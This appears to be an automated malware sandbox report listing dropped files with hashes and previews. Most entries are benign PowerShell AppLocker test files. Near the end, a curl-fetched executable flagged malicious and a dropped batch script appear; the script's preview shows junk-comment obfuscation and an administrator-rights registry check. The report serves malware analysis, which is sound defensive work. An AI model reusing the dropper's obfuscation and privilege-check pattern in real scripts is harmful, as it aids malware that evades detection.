MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvuq5nfy.c5c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g20nlqcv.lmk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gbsvjqxx.1nl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h1gbx5gu.ja2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3zss5pf.q4e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iugvvcmp.sh5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jjwafj51.1nk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jjwznhhs.q32.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_krbawg1r.aau.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lqa00r32.ph5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nnkhwsiw.fro.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nnlmhvdk.tl2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_npbsign0.q1l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_obvvy3rw.bwf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocgxn2kf.vnn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oguz5xdg.nbw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pb5lws0y.hxq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfxs025v.n4p.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rogkn3sf.n5u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_trdvw34i.laf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txnentbw.wom.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ueehqv15.4cl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2rpwjs5.25n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xb5ihyto.be5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbtnkbqn.dtc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxbbhgn3.4dg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxb54v4g.on4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yzwrdkxj.gn2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	33441448
Entropy (8bit):	7.998895110211762
Encrypted:	true
SSDEEP:	786432:sEKNHXUy8paSpU5Nqs6QWYTYAUgde09g6i53G+wSl:NE3ULMSkQs6vXBPzRG+wg
MD5:	0F335D8996D82DA30FE9286C671FA0CD
SHA1:	FF64FF5AB0FF7C848809D5A82B2F6248B38F8FA5
SHA-256:	10DED982BDF7EF7F33FD417C7D818D131B7C73CBF6E955BBE04FBA656B37FED7
SHA-512:	12BD786BB93856D09826AB5D612FB3213CF8F6EC0C0240C27A0CDC510D56F4F4089636736D1A168463A6AC824E7B2ACE2611E6A5E8E0138C490B534662B54600
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W.....................p............... ....@..................................3....@......@.......................................O...........%...!...........................................................................................text...D........................... ..`.itext..d........................... ..`.data........ ......................@....bss.....V...0...........................idata..............................@....tls.................&...................rdata...............&..............@..@.rsrc....O.......P...(..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\eb90c874-90f1-477e-bf8d-92cb4599bdb5.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13694
Entropy (8bit):	5.405489742742393
Encrypted:	false
SSDEEP:	192:21PVieAxSivXhDoiqRRlpTc1cAiPDl6z5QjzTaXA9Ss8fYb2AtA4N3LqVzz/rUen:2wSivxDMXzJAiPg1gaVfQtAF/rUP+
MD5:	BA2FC386F73F8F991AEC486B2B6C773E
SHA1:	9BDB1347430B40820C129402EB6047C1955782DE
SHA-256:	AC53343DE58BD570756C6C3C1BFA7D8B64704D08BC9AE96EF85CE55FA1ECC9DB
SHA-512:	597EF01EC473462393A2D2E69AADA3509FAAB132A444FAF1CF12E2528FA304A418C52E02796F0795A8AF00DCF8722EB9B62E1EE455FACED41EC991E0722057AD
Malicious:	false
Reputation:	unknown
Preview:	rem qhqbc3otsc7f4az5jijbepjjx08qqr06..rem 63iay5grijpswd9vu8aigxsi9w5u3lbaej3fivmtmjdewgqo35dmaz98nsm3dlkfhl3bptuuqxuxw0rpnx..@echo off..rem 2b30403n1xpggisbgmsvke0hxq02r..rem dgu2hdcym511xxc7e3vx60rxr8lericlhg1kyi5iqgoo50wcn..rem xjn90dojiap51mbt3008ovrgljv9gypxiqhcngfkrjjd80s..rem bb36gsn08utw1hcxxag1k8elrb0scldcw152toy5s7btn87ysq5e8zrnlmdl..reg query "HKU\S-1-5-19\Environment" >nul 2>&1..rem 1llp817wd0f0zahnu9n6sgcffb7ib23azpmehc7su2sdt2glefev0zwgz50zudql06oukbnaipxz4iuq49s9xddcslqyzigc..rem v0tmzhykuz23s7th08k5r29jy096kj3v5t4c6pd2xput2p4tqcxpwrh1ltqbdw6kzff..rem graykszkugieec9cky36jnfs4l367dsnz105ok2cyhqoz9r3ji9q8nkr01ibfnii7nbxce..rem 2is0530kvxzq2io85ol7b9m207x6s9gft0vy7eqn00miwredcnkqjjnhx90cgdvfdv8c2o3bxue1pvqb0mlkqunyw..if not %errorlevel% EQU 0 (..rem zkpbpugoezc0evga7gnxklpw56kyy4tgscrxonb53mq3zytuj0diz2mr2s90dc2n8vfa..rem kc7n05gofftb11w6r76yc7w5ardyjzh9nknq7h0f4fmywhg5deojayphpz10e3elf3..rem 50bxgsngd9w2wz3dvi4lzxhka8fdpmia3aa0aegm6v08e9909pc4pg4..rem lqgzfham73szg9lrmme5

C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\l

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	63
Entropy (8bit):	4.431246742289477
Encrypted:	false
SSDEEP:	3:N8fhmPMdUKLR3QVL4A:280dVtgVL4A
MD5:	F8F417F775B9CC418AAA7AD2592324C1
SHA1:	5F2E034B5A2B39B99BA0447FF8F3898D8D1E455D
SHA-256:	4048A5F29484C100ED0F87BBE6D462939C050E7F011B9327AC66837F9F269AA6
